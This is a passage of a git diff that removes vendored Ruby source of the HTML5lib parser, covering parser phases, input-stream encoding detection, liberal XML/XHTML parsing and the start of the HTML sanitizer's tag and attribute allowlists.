-    #   tag_handlers('startTag', 'html', %w( base link meta ), %w( li dt dd ) => 'ListItem')
-    #
-    # ...would return a hash equal to this:
-    #
-    #   { 'html' => 'startTagHtml',
-    #     'base' => 'startTagBaseLinkMeta',
-    #     'link' => 'startTagBaseLinkMeta',
-    #     'meta' => 'startTagBaseLinkMeta',
-    #     'li'   => 'startTagListItem',
-    #     'dt'   => 'startTagListItem',
-    #     'dd'   => 'startTagListItem'  }
-    #
-    def self.tag_handlers(prefix, *tags)
-      mapping = {}
-      if tags.last.is_a?(Hash)
-        tags.pop.each do |names, handler_method_suffix|
-          handler_method = prefix + handler_method_suffix
-          Array(names).each {|name| mapping[name] = handler_method }
-        end
-      end
-      tags.each do |names|
-        names = Array(names)
-        handler_method = prefix + names.map {|name| name.capitalize }.join
-        names.each {|name| mapping[name] = handler_method }
-      end
-      mapping
-    end
-
-    def self.start_tag_handlers
-      @start_tag_handlers ||= Hash.new('startTagOther')
-    end
-
-    # Declare what start tags this Phase handles. Can be called more than once.
-    #
-    # Example usage:
-    #
-    #   handle_start 'html'
-    #   # html start tags will be handled by a method named 'startTagHtml'
-    #
-    #   handle_start %( base link meta )
-    #   # base, link and meta start tags will be handled by a method named 'startTagBaseLinkMeta'
-    #
-    #   handle_start %( li dt dd ) => 'ListItem'
-    #   # li, dt, and dd start tags will be handled by a method named 'startTagListItem'
-    #
-    def self.handle_start(*tags)
-      start_tag_handlers.update tag_handlers('startTag', *tags)
-    end
-
-    def self.end_tag_handlers
-      @end_tag_handlers ||= Hash.new('endTagOther')
-    end
-
-    # Declare what end tags this Phase handles. Behaves like handle_start.
-    #
-    def self.handle_end(*tags)
-      end_tag_handlers.update tag_handlers('endTag', *tags)
-    end
-
-    def initialize(parser, tree)
-      @parser, @tree = parser, tree
-    end
-
-    def process_eof
-      @tree.generateImpliedEndTags
-
-      if @tree.open_elements.length > 2
-        parse_error("expected-closing-tag-but-got-eof")
-      elsif @tree.open_elements.length == 2 and @tree.open_elements[1].name != 'body'
-        # This happens for framesets or something?
-        parse_error("expected-closing-tag-but-got-eof")
-      elsif @parser.inner_html and @tree.open_elements.length > 1 
-        # XXX This is not what the specification says. Not sure what to do here.
-        parse_error("eof-in-innerhtml")
-      end
-      # Betting ends.
-    end
-
-    def processComment(data)
-      # For most phases the following is correct. Where it's not it will be
-      # overridden.
-      @tree.insert_comment(data, @tree.open_elements.last)
-    end
-
-    def processDoctype(name, publicId, systemId, correct)
-      parse_error("unexpected-doctype")
-    end
-
-    def processSpaceCharacters(data)
-      @tree.insertText(data)
-    end
-
-    def processStartTag(name, attributes)
-      send self.class.start_tag_handlers[name], name, attributes
-    end
-
-    def startTagHtml(name, attributes)
-      if @parser.first_start_tag == false and name == 'html'
-         parse_error("non-html-root")
-      end
-      # XXX Need a check here to see if the first start tag token emitted is
-      # this token... If it's not, invoke parse_error.
-      attributes.each do |attr, value|
-        unless @tree.open_elements.first.attributes.has_key?(attr)
-          @tree.open_elements.first.attributes[attr] = value
-        end
-      end
-      @parser.first_start_tag = false
-    end
-
-    def processEndTag(name)
-      send self.class.end_tag_handlers[name], name
-    end
-
-    def assert(value)
-      throw AssertionError.new unless value
-    end
-
-    def in_scope?(*args)
-      @tree.elementInScope(*args)
-    end
-
-    def remove_open_elements_until(name=nil)
-      finished = false
-      until finished || @tree.open_elements.length == 0
-        element = @tree.open_elements.pop
-        finished = name.nil? ? yield(element) : element.name == name
-      end
-      return element
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/root_element_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/root_element_phase.rb
deleted file mode 100644
index 22db451b..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/root_element_phase.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class RootElementPhase < Phase
-
-    def process_eof
-      insert_html_element
-      @parser.phase.process_eof
-    end
-
-    def processComment(data)
-      @tree.insert_comment(data, @tree.document)
-    end
-
-    def processSpaceCharacters(data)
-    end
-
-    def processCharacters(data)
-      insert_html_element
-      @parser.phase.processCharacters(data)
-    end
-
-    def processStartTag(name, attributes)
-      @parser.first_start_tag = true if name == 'html'
-      insert_html_element
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def processEndTag(name)
-      insert_html_element
-      @parser.phase.processEndTag(name)
-    end
-
-    def insert_html_element
-      element = @tree.createElement('html', {})
-      @tree.open_elements << element
-      @tree.document.appendChild(element)
-      @parser.phase = @parser.phases[:beforeHead]
-    end
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/trailing_end_phase.rb b/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/trailing_end_phase.rb
deleted file mode 100644
index c122512d..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/html5parser/trailing_end_phase.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-require 'html5/html5parser/phase'
-
-module HTML5
-  class TrailingEndPhase < Phase
-
-    def process_eof
-    end
-
-    def processComment(data)
-      @tree.insert_comment(data, @tree.document)
-    end
-
-    def processSpaceCharacters(data)
-      @parser.last_phase.processSpaceCharacters(data)
-    end
-
-    def processCharacters(data)
-      parse_error("expected-eof-but-got-char")
-      @parser.phase = @parser.last_phase
-      @parser.phase.processCharacters(data)
-    end
-
-    def processStartTag(name, attributes)
-      parse_error("expected-eof-but-got-start-tag", {"name" => name})
-      @parser.phase = @parser.last_phase
-      @parser.phase.processStartTag(name, attributes)
-    end
-
-    def processEndTag(name)
-      parse_error("expected-eof-but-got-end-tag", {"name" => name})
-      @parser.phase = @parser.last_phase
-      @parser.phase.processEndTag(name)
-    end
-  end
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/inputstream.rb b/attic/vendor/plugins/HTML5lib/lib/html5/inputstream.rb
deleted file mode 100755
index 6864d482..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/inputstream.rb
+++ /dev/null
@@ -1,701 +0,0 @@
-require 'stringio'
-require 'html5/constants'
-
-module HTML5
-
-  # Provides a unicode stream of characters to the HTMLTokenizer.
-
-  # This class takes care of character encoding and removing or replacing
-  # incorrect byte-sequences and also provides column and line tracking.
-
-  class HTMLInputStream
-
-    attr_accessor :queue, :char_encoding, :errors
-
-    # Initialises the HTMLInputStream.
-    # 
-    # HTMLInputStream(source, [encoding]) -> Normalized stream from source
-    # for use by the HTML5Lib.
-    # 
-    # source can be either a file-object, local filename or a string.
-    # 
-    # The optional encoding parameter must be a string that indicates
-    # the encoding.  If specified, that encoding will be used,
-    # regardless of any BOM or later declaration (such as in a meta
-    # element)
-    #  
-    # parseMeta - Look for a <meta> element containing encoding information
-
-    def initialize(source, options = {})
-      @encoding   = nil
-      @parse_meta = true
-      @chardet    = true
-
-      options.each {|name, value| instance_variable_set("@#{name}", value) }
-
-      # partial Ruby 1.9 support
-      if @encoding and source.respond_to? :force_encoding
-        source.force_encoding(@encoding) rescue nil
-      end
-
-      # Raw Stream
-      @raw_stream = open_stream(source)
-
-      # Encoding Information
-      #Number of bytes to use when looking for a meta element with
-      #encoding information
-      @NUM_BYTES_META = 512
-      #Number of bytes to use when using detecting encoding using chardet
-      @NUM_BYTES_CHARDET = 256
-      #Number of bytes to use when reading content
-      @NUM_BYTES_BUFFER = 1024
-
-      #Encoding to use if no other information can be found
-      @DEFAULT_ENCODING = 'windows-1252'
-
-      #Detect encoding iff no explicit "transport level" encoding is supplied
-      if @encoding.nil? or not HTML5.is_valid_encoding(@encoding)
-        @char_encoding = detect_encoding
-      else
-        @char_encoding = @encoding
-      end
-
-      # Read bytes from stream decoding them into Unicode
-      @buffer = @raw_stream.read(@NUM_BYTES_BUFFER) || ''
-      if @char_encoding == 'windows-1252'
-        @win1252 = true
-      elsif @char_encoding != 'utf-8'
-        require 'iconv'
-        begin
-          @buffer << @raw_stream.read unless @raw_stream.eof?
-          @buffer = Iconv.iconv('utf-8', @char_encoding, @buffer).first
-        rescue
-          @win1252 = true
-        end
-      end
-
-      @queue = []
-      @errors = []
-
-      # Reset position in the list to read from
-      @tell = 0
-      @line = @col = 0
-      @line_lengths = []
-    end
-
-    # Produces a file object from source.
-    #
-    # source can be either a file object, local filename or a string.
-    def open_stream(source)
-      # Already an IO like object
-      if source.respond_to?(:read)
-        source
-      else
-        # Treat source as a string and wrap in StringIO
-        StringIO.new(source)
-      end
-    end
-
-    def detect_encoding
-
-      #First look for a BOM
-      #This will also read past the BOM if present
-      encoding = detect_bom
-
-      #If there is no BOM need to look for meta elements with encoding 
-      #information
-      if encoding.nil? and @parse_meta
-        encoding = detect_encoding_meta
-      end
-
-      #Guess with chardet, if avaliable
-      if encoding.nil? and @chardet
-        begin
-          require 'rubygems'
-          require 'UniversalDetector' # gem install chardet
-          buffers = []
-          detector = UniversalDetector::Detector.instance
-          detector.reset
-          until @raw_stream.eof?
-            buffer = @raw_stream.read(@NUM_BYTES_CHARDET)
-            break if !buffer or buffer.empty?
-            buffers << buffer
-            detector.feed(buffer)
-            break if detector.instance_eval {@done}
-            detector.instance_eval {
-              @_mLastChar = @_mLastChar.chr if Fixnum === @_mLastChar
-            }
-          end
-          detector.close
-          encoding = detector.result['encoding']
-          seek(buffers*'', 0)
-        rescue LoadError
-        end
-      end
-
-      # If all else fails use the default encoding
-      if encoding.nil?
-        encoding = @DEFAULT_ENCODING
-      end
-    
-      #Substitute for equivalent encoding
-      if 'iso-8859-1' == encoding.downcase
-        encoding = 'windows-1252'
-      end
-
-      encoding
-    end
-
-    # Attempts to detect at BOM at the start of the stream. If
-    # an encoding can be determined from the BOM return the name of the
-    # encoding otherwise return nil
-    def detect_bom
-      bom_dict = {
-        "\xef\xbb\xbf"     => 'utf-8',
-        "\xff\xfe"         => 'utf-16le',
-        "\xfe\xff"         => 'utf-16be',
-        "\xff\xfe\x00\x00" => 'utf-32le',
-        "\x00\x00\xfe\xff" => 'utf-32be'
-      }
-
-      # Go to beginning of file and read in 4 bytes
-      string = @raw_stream.read(4)
-      return nil unless string
-
-      # Try detecting the BOM using bytes from the string
-      encoding = bom_dict[string[0...3]]      # UTF-8
-      seek = 3
-      unless encoding
-        # Need to detect UTF-32 before UTF-16
-        encoding = bom_dict[string]       # UTF-32
-        seek = 4
-        unless encoding
-          encoding = bom_dict[string[0...2]]  # UTF-16
-          seek = 2
-        end
-      end
-
-      # Set the read position past the BOM if one was found, otherwise
-      # set it to the start of the stream
-      seek(string, encoding ? seek : 0)
-
-      return encoding
-    end
-
-    def seek(buffer, n)
-      if @raw_stream.respond_to?(:unget)
-        @raw_stream.unget(buffer[n..-1])
-        return
-      end
-
-      if @raw_stream.respond_to?(:seek)
-        begin
-          @raw_stream.seek(n)
-          return
-        rescue Errno::ESPIPE
-        end
-      end
-
-      #TODO: huh?
-      require 'delegate'
-      @raw_stream = SimpleDelegator.new(@raw_stream)
-
-      class << @raw_stream
-        def read(chars=-1)
-          if chars == -1 or chars > @data.length
-            result = @data
-            @data = ''
-            return result if __getobj__.eof?
-            return result + __getobj__.read if chars == -1
-            return result + __getobj__.read(chars-result.length)
-          elsif @data.empty?
-            return __getobj__.read(chars)
-          else
-            result = @data[1...chars]
-            @data = @data[chars..-1]
-            return result
-          end
-        end
-
-        def unget(data)
-          if !@data or @data.empty?
-            @data = data
-          else
-            @data += data
-          end
-        end
-      end
-
-      @raw_stream.unget(buffer[n .. -1])
-    end
-
-    # Report the encoding declared by the meta element
-    def detect_encoding_meta
-      buffer = @raw_stream.read(@NUM_BYTES_META)
-      parser = EncodingParser.new(buffer)
-      seek(buffer, 0)
-      return parser.get_encoding
-    end
-
-    # Returns (line, col) of the current position in the stream.
-    def position
-      line, col = @line, @col
-      if @queue and @queue.last != :EOF
-        @queue.reverse.each do |c|
-          if c == "\n"
-            line -= 1
-            raise RuntimeError.new("col=#{col}") unless col == 0
-            col = @line_lengths[line]
-          else
-            col -= 1
-          end 
-        end
-      end
-      return [line + 1, col]
-    end
-
-    # Read one character from the stream or queue if available. Return
-    # EOF when EOF is reached.
-    def char
-      unless @queue.empty?
-        return @queue.shift
-      else
-        if @tell + 3 > @buffer.length && !@raw_stream.eof?
-          # read next block
-          @buffer = @buffer[@tell..-1] + @raw_stream.read(@NUM_BYTES_BUFFER)
-          @tell = 0
-        end
-
-        c = @buffer[@tell]
-        @tell += 1
-
-        case c
-
-        when String
-          # partial Ruby 1.9 support
-          case c
-          when "\0"
-            @errors.push("null-character")
-            c = "\uFFFD" # null characters are invalid
-          when "\r"
-            @tell += 1 if @buffer[@tell] == "\n"
-            c = "\n"
-          when "\x80" .. "\x9F"
-            c = ENTITIES_WINDOWS1252[c.ord-0x80].chr('utf-8')
-          when "\xA0" .. "\xFF"
-            if c.encoding == Encoding::ASCII_8BIT
-              c = c.encode('utf-8','iso-8859-1')
-            end
-          end
-
-          if c == "\x0D"
-            # normalize newlines
-            @tell += 1 if @buffer[@tell] == 0x0A
-            c = 0x0A
-          end
-
-          # update position in stream
-          if c == "\x0a"
-            @line_lengths << @col
-            @line += 1
-            @col = 0
-          else
-            @col += 1
-          end
-
-          c
-
-        when 0x01..0x7F
-          if c == 0x0D
-            # normalize newlines
-            @tell += 1 if @buffer[@tell] == 0x0A
-            c = 0x0A
-          end
-
-          # update position in stream
-          if c == 0x0a
-            @line_lengths << @col
-            @line += 1
-            @col = 0
-          else
-            @col += 1
-          end
-
-          c.chr
-
-        when 0x80..0xBF
-          if !@win1252
-            [0xFFFD].pack('U') # invalid utf-8
-          elsif c <= 0x9f
-            [ENTITIES_WINDOWS1252[c-0x80]].pack('U')
-          else
-            "\xC2" + c.chr # convert to utf-8
-          end
-
-        when 0xC0..0xFF
-          if instance_variable_defined?("@win1252") && @win1252
-            "\xC3" + (c - 64).chr # convert to utf-8
-          # from http://www.w3.org/International/questions/qa-forms-utf-8.en.php
-          elsif @buffer[@tell - 1..@tell + 3] =~ /^
-                ( [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
-                |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
-                | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
-                |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
-                |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
-                | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
-                |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
-                )/x
-            @tell += $1.length - 1
-            $1
-          else
-            [0xFFFD].pack('U') # invalid utf-8
-          end
-
-        when 0x00
-          @errors.push("null-character")
-          [0xFFFD].pack('U') # null characters are invalid
-
-        else
-          :EOF
-        end
-      end
-    end
-
-    # Returns a string of characters from the stream up to but not
-    # including any character in characters or EOF. characters can be
-    # any container that supports the in method being called on it.
-    def chars_until(characters, opposite=false)
-      char_stack = [char]
-
-      while char_stack.last != :EOF
-        break unless (characters.include?(char_stack.last)) == opposite
-        char_stack.push(char)
-      end
-
-      # Put the character stopped on back to the front of the queue
-      # from where it came.
-      c = char_stack.pop
-      @queue.insert(0, c) unless c == :EOF
-      return char_stack.join('')
-    end
-
-    def unget(characters)
-      return if characters == :EOF
-      if characters.respond_to? :to_a
-        @queue.unshift(*characters.to_a)
-      else
-        characters.reverse.each_char {|c| @queue.unshift(c)}
-      end
-    end
-  end
-
-  # String-like object with an assosiated position and various extra methods
-  # If the position is ever greater than the string length then an exception is raised
-  class EncodingBytes < String
-
-    attr_accessor :position
-
-    def initialize(value)
-      super(value)
-      @position = -1
-    end
-  
-    def each
-      while @position < length
-        @position += 1
-        yield self[@position]
-      end
-    rescue EOF
-    end
-  
-    def current_byte
-      raise EOF if @position >= length
-      return self[@position].chr
-    end
-  
-    # Skip past a list of characters
-    def skip(chars=SPACE_CHARACTERS)
-      while chars.include?(current_byte)
-        @position += 1
-      end
-    end
-
-    # Look for a sequence of bytes at the start of a string. If the bytes 
-    # are found return true and advance the position to the byte after the 
-    # match. Otherwise return false and leave the position alone
-    def match_bytes(bytes, lower=false)
-      data = self[position ... position+bytes.length]
-      data.downcase! if lower
-      rv = (data == bytes)
-      @position += bytes.length if rv == true
-      return rv
-    end
-  
-    # Look for the next sequence of bytes matching a given sequence. If
-    # a match is found advance the position to the last byte of the match
-    def jump_to(bytes)
-      new_position = self[position .. -1].index(bytes)
-      if new_position
-        @position += (new_position + bytes.length-1)
-        return true
-      else
-        raise EOF
-      end
-    end
-  
-    # Move the pointer so it points to the next byte in a set of possible
-    # bytes
-    def find_next(byte_list)
-      until byte_list.include?(current_byte)
-        @position += 1
-      end
-    end
-  end
-
-  # Mini parser for detecting character encoding from meta elements
-  class EncodingParser
-
-    # string - the data to work on for encoding detection
-    def initialize(data)
-      @data = EncodingBytes.new(data.to_s)
-      @encoding = nil
-    end
-
-    @@method_dispatch = [
-      ['<!--', :handle_comment],
-      ['<meta', :handle_meta],
-      ['</', :handle_possible_end_tag],
-      ['<!', :handle_other],
-      ['<?', :handle_other],
-      ['<', :handle_possible_start_tag]
-    ]
-
-    def get_encoding
-      @data.each do |byte|
-        keep_parsing = true
-        @@method_dispatch.each do |(key, method)|
-          if @data.match_bytes(key, lower = true)
-            keep_parsing = send(method)
-            break
-          end
-        end
-        break unless keep_parsing
-      end
-      unless @encoding.nil?
-        @encoding = @encoding.strip 
-        if ["UTF-16", "UTF-16BE", "UTF-16LE", "UTF-32", "UTF-32BE", "UTF-32LE"].include?(@encoding.upcase)
-          @encoding = 'utf-8'
-        end
-      end
-      
-      return @encoding
-    end
-
-    # Skip over comments
-    def handle_comment
-      return @data.jump_to('-->')
-    end
-
-    def handle_meta
-      # if we have <meta not followed by a space so just keep going
-      return true unless SPACE_CHARACTERS.include?(@data.current_byte)
-
-      #We have a valid meta element we want to search for attributes
-      while true
-        #Try to find the next attribute after the current position
-        attr = get_attribute
-
-        return true if attr.nil?
-        
-        if attr[0] == 'charset'
-          tentative_encoding = attr[1]
-          if HTML5.is_valid_encoding(tentative_encoding)
-            @encoding = tentative_encoding  
-            return false
-          end
-        elsif attr[0] == 'content'
-          content_parser = ContentAttrParser.new(EncodingBytes.new(attr[1]))
-          tentative_encoding = content_parser.parse
-          if HTML5.is_valid_encoding(tentative_encoding)
-            @encoding = tentative_encoding
-            return false
-          end
-        end
-      end
-    end
-
-    def handle_possible_start_tag
-      return handle_possible_tag(false)
-    end
-
-    def handle_possible_end_tag
-      @data.position += 1
-      return handle_possible_tag(true)
-    end
-
-    def handle_possible_tag(end_tag)
-      unless ASCII_LETTERS.include?(@data.current_byte)
-        #If the next byte is not an ascii letter either ignore this
-        #fragment (possible start tag case) or treat it according to 
-        #handleOther
-        if end_tag
-          @data.position -= 1
-          handle_other
-        end
-        return true
-      end
-    
-      @data.find_next(SPACE_CHARACTERS + ['<', '>'])
-
-      if @data.current_byte == '<'
-        #return to the first step in the overall "two step" algorithm
-        #reprocessing the < byte
-        @data.position -= 1  
-      else
-        #Read all attributes
-        {} until get_attribute.nil?
-      end
-      return true
-    end
-
-    def handle_other
-      return @data.jump_to('>')
-    end
-
-    # Return a name,value pair for the next attribute in the stream,
-    # if one is found, or nil
-    def get_attribute
-      @data.skip(SPACE_CHARACTERS + ['/'])
-
-      if @data.current_byte == '<'
-        @data.position -= 1
-        return nil
-      elsif @data.current_byte == '>'
-        return nil
-      end
-
-      attr_name = []
-      attr_value = []
-      space_found = false
-      #Step 5 attribute name
-      while true
-        if @data.current_byte == '=' and attr_name
-          break
-        elsif SPACE_CHARACTERS.include?(@data.current_byte)
-          space_found = true
-          break
-        elsif ['/', '<', '>'].include?(@data.current_byte)
-          return [attr_name.join(''), '']
-        elsif ASCII_UPPERCASE.include?(@data.current_byte)
-          attr_name.push(@data.current_byte.downcase)
-        else
-          attr_name.push(@data.current_byte)
-        end
-        #Step 6
-        @data.position += 1
-      end
-      #Step 7
-      if space_found
-        @data.skip
-        #Step 8
-        unless @data.current_byte == '='
-          @data.position -= 1
-          return [attr_name.join(''), '']
-        end
-      end
-      #XXX need to advance position in both spaces and value case
-      #Step 9
-      @data.position += 1
-      #Step 10
-      @data.skip
-      #Step 11
-      if ["'", '"'].include?(@data.current_byte)
-        #11.1
-        quote_char = @data.current_byte
-        while true
-          @data.position+=1
-          #11.3
-          if @data.current_byte == quote_char
-            @data.position += 1
-            return [attr_name.join(''), attr_value.join('')]
-          #11.4
-          elsif ASCII_UPPERCASE.include?(@data.current_byte)
-            attr_value.push(@data.current_byte.downcase)
-          #11.5
-          else
-            attr_value.push(@data.current_byte)
-          end
-        end
-      elsif ['>', '<'].include?(@data.current_byte)
-        return [attr_name.join(''), '']
-      elsif ASCII_UPPERCASE.include?(@data.current_byte)
-        attr_value.push(@data.current_byte.downcase)
-      else
-        attr_value.push(@data.current_byte)
-      end
-      while true
-        @data.position += 1
-        if (SPACE_CHARACTERS + ['>', '<']).include?(@data.current_byte)
-          return [attr_name.join(''), attr_value.join('')]
-        elsif ASCII_UPPERCASE.include?(@data.current_byte)
-          attr_value.push(@data.current_byte.downcase)
-        else
-          attr_value.push(@data.current_byte)
-        end
-      end
-    end
-  end
-
-  class ContentAttrParser
-    def initialize(data)
-      @data = data
-    end
-
-    def parse
-      begin
-        #Skip to the first ";"
-        @data.position = 0
-        @data.jump_to(';')
-        @data.position += 1
-        @data.skip
-        #Check if the attr name is charset 
-        #otherwise return
-        @data.jump_to('charset')
-        @data.position += 1
-        @data.skip
-        unless @data.current_byte == '='
-          #If there is no = sign keep looking for attrs
-          return nil
-        end
-        @data.position += 1
-        @data.skip
-        #Look for an encoding between matching quote marks
-        if ['"', "'"].include?(@data.current_byte)
-          quote_mark = @data.current_byte
-          @data.position += 1
-          old_position = @data.position
-          @data.jump_to(quote_mark)
-          return @data[old_position ... @data.position]
-        else
-          #Unquoted value
-          old_position = @data.position
-          begin
-            @data.find_next(SPACE_CHARACTERS)
-            return @data[old_position ... @data.position]
-          rescue EOF
-            #Return the whole remaining value
-            return @data[old_position .. -1]
-          end
-        end
-      rescue EOF
-        return nil
-      end
-    end
-  end
-
-  # Determine if a string is a supported encoding
-  def self.is_valid_encoding(encoding)
-    (not encoding.nil? and encoding.kind_of?(String) and ENCODINGS.include?(encoding.downcase.strip))
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/liberalxmlparser.rb b/attic/vendor/plugins/HTML5lib/lib/html5/liberalxmlparser.rb
deleted file mode 100755
index 15363ed9..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/liberalxmlparser.rb
+++ /dev/null
@@ -1,158 +0,0 @@
-# Warning: this module is experimental and subject to change and even removal
-# at any time. 
-# 
-# For background/rationale, see:
-#  * http://www.intertwingly.net/blog/2007/01/08/Xhtml5lib
-#  * http://tinyurl.com/ylfj8k (and follow-ups)
-# 
-# References:
-#  * http://googlereader.blogspot.com/2005/12/xml-errors-in-feeds.html
-#  * http://wiki.whatwg.org/wiki/HtmlVsXhtml
-# 
-# @@TODO:
-# * Selectively lowercase only XHTML, but not foreign markup
-require 'html5/html5parser'
-require 'html5/constants'
-
-module HTML5
-
-  # liberal XML parser
-  class XMLParser < HTMLParser
-
-    def initialize(options = {})
-      super options
-      @phases[:initial] = XmlRootPhase.new(self, @tree)
-    end
-
-    def normalize_token(token)
-      case token[:type]
-      when :StartTag, :EmptyTag
-        # We need to remove the duplicate attributes and convert attributes
-        # to a Hash so that [["x", "y"], ["x", "z"]] becomes {"x": "y"}
-
-        token[:data] = Hash[*token[:data].reverse.flatten]
-
-        # For EmptyTags, process both a Start and an End tag
-        if token[:type] == :EmptyTag
-          save = @tokenizer.content_model_flag
-          @phase.processStartTag(token[:name], token[:data])
-          @tokenizer.content_model_flag = save
-          token[:data] = {}
-          token[:type] = :EndTag
-        end
-
-      when :Characters
-        # un-escape RCDATA_ELEMENTS (e.g. style, script)
-        if @tokenizer.content_model_flag == :CDATA
-          token[:data] = token[:data].
-            gsub('&lt;','<').gsub('&gt;','>').gsub('&amp;','&')
-        end
-
-      when :EndTag
-        if token[:data]
-           parse_error("attributes-in-end-tag")
-        end
-
-      when :Comment
-        # Rescue CDATA from the comments
-        if token[:data][0..6] == "[CDATA[" and token[:data][-2..-1] == "]]"
-          token[:type] = :Characters
-          token[:data] = token[:data][7 ... -2]
-        end
-      end
-
-      return token
-    end
-  end
-
-  # liberal XMTHML parser
-  class XHTMLParser < XMLParser
-
-    def initialize(options = {})
-      super options
-      @phases[:initial] = InitialPhase.new(self, @tree)
-      @phases[:rootElement] = XhmlRootPhase.new(self, @tree)
-    end
-
-    def normalize_token(token)
-      super(token)
-
-      # ensure that non-void XHTML elements have content so that separate
-      # open and close tags are emitted
-      if token[:type]  == :EndTag
-        if VOID_ELEMENTS.include? token[:name]
-          if @tree.open_elements[-1].name != token["name"]
-            token[:type] = :EmptyTag
-            token["data"] ||= {}
-          end
-        else
-          if token[:name] == @tree.open_elements[-1].name and \
-            not @tree.open_elements[-1].hasContent
-            @tree.insertText('') unless
-              @tree.open_elements.any? {|e|
-                e.attributes.keys.include? 'xmlns' and
-                e.attributes['xmlns'] != 'http://www.w3.org/1999/xhtml'
-              }
-           end
-        end
-      end
-
-      return token
-    end
-  end
-
-  class XhmlRootPhase < RootElementPhase
-    def insert_html_element
-      element = @tree.createElement("html", {'xmlns' => 'http://www.w3.org/1999/xhtml'})
-      @tree.open_elements.push(element)
-      @tree.document.appendChild(element)
-      @parser.phase = @parser.phases[:beforeHead]
-    end
-  end
-
-  class XmlRootPhase < Phase
-    # Prime the Xml parser
-    @start_tag_handlers = Hash.new(:startTagOther)
-    @end_tag_handlers = Hash.new(:endTagOther)
-    def startTagOther(name, attributes)
-      @tree.open_elements.push(@tree.document)
-      element = @tree.createElement(name, attributes)
-      @tree.open_elements[-1].appendChild(element)
-      @tree.open_elements.push(element)
-      @parser.phase = XmlElementPhase.new(@parser,@tree)
-    end
-    def endTagOther(name)
-      super
-      @tree.open_elements.pop
-    end
-  end
-
-  class XmlElementPhase < Phase
-    # Generic handling for all XML elements
-
-    @start_tag_handlers = Hash.new(:startTagOther)
-    @end_tag_handlers = Hash.new(:endTagOther)
-
-    def startTagOther(name, attributes)
-      element = @tree.createElement(name, attributes)
-      @tree.open_elements[-1].appendChild(element)
-      @tree.open_elements.push(element)
-    end
-
-    def endTagOther(name)
-      for node in @tree.open_elements.reverse
-        if node.name == name
-          {} while @tree.open_elements.pop != node
-          break
-        else
-          parse_error
-        end
-      end
-    end
-
-    def processCharacters(data)
-      @tree.insertText(data)
-    end
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/sanitizer.rb b/attic/vendor/plugins/HTML5lib/lib/html5/sanitizer.rb
deleted file mode 100644
index 5226b708..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/sanitizer.rb
+++ /dev/null
@@ -1,203 +0,0 @@
-require 'cgi'
-require 'html5/tokenizer'
-require 'set'
-
-module HTML5
-
-# This module provides sanitization of XHTML+MathML+SVG
-# and of inline style attributes.
-#
-# It can be either at the Tokenizer stage:
-#
-#       HTMLParser.parse(html, :tokenizer => HTMLSanitizer)
-#
-# or, if you already have a parse tree (in this example, a REXML tree),
-# at the Serializer stage:
-#
-#     tokens = TreeWalkers.get_tree_walker('rexml').new(tree)
-#     HTMLSerializer.serialize(tokens, {:encoding=>'utf-8',
-#        :sanitize => true})
-
-  module HTMLSanitizeModule
-
-    ACCEPTABLE_ELEMENTS = Set.new %w[a abbr acronym address area audio b big blockquote br
-      button caption center cite code col colgroup dd del dfn dir div dl dt
-      em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label
-      legend li map menu ol optgroup option p pre q s samp select small span
-      strike strong sub sup table tbody td textarea tfoot th thead tr tt u
-      ul var video]
-
-    MATHML_ELEMENTS = Set.new %w[annotation annotation-xml maction math merror mfrac
-      mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot mrow
-      mspace msqrt mstyle msub msubsup msup mtable mtd mtext mtr munder
-      munderover none semantics]
-
-    SVG_ELEMENTS = Set.new %w[a animate animateColor animateMotion animateTransform
-      circle clipPath defs desc ellipse font-face font-face-name font-face-src
-      foreignObject g glyph hkern linearGradient line marker metadata
-      missing-glyph mpath path polygon polyline radialGradient rect set
-      stop svg switch text title tspan use]
-
-    ACCEPTABLE_ATTRIBUTES = Set.new %w[abbr accept accept-charset accesskey action
-      align alt axis border cellpadding cellspacing char charoff charset
-      checked cite class clear cols colspan color compact controls coords datetime
-      dir disabled enctype for frame headers height href hreflang hspace id
-      ismap label lang longdesc loop maxlength media method multiple name nohref
-      noshade nowrap poster prompt readonly rel rev rows rowspan rules scope
-      selected shape size span src start style summary tabindex target title
-      type usemap valign value vspace width xml:lang]
-
-    MATHML_ATTRIBUTES = Set.new %w[actiontype align close columnalign columnalign
-      columnalign columnlines columnspacing columnspan depth display
-      displaystyle encoding equalcolumns equalrows fence fontstyle fontweight
-      frame height linethickness lspace mathbackground mathcolor mathvariant
-      mathvariant maxsize minsize open other rowalign rowalign rowalign rowlines
-      rowspacing rowspan rspace scriptlevel selection separator separators
-      stretchy width width xlink:href xlink:show xlink:type xmlns xmlns:xlink]
-
-    SVG_ATTRIBUTES = Set.new %w[accent-height accumulate additive alphabetic
-       arabic-form ascent attributeName attributeType baseProfile bbox begin
-       by calcMode cap-height class clip-path clip-rule color color-rendering
-       content cx cy d dx dy descent display dur end fill fill-opacity fill-rule
-       font-family font-size font-stretch font-style font-variant font-weight from
-       fx fy g1 g2 glyph-name gradientUnits hanging height horiz-adv-x horiz-origin-x
-       id ideographic k keyPoints keySplines keyTimes lang marker-end
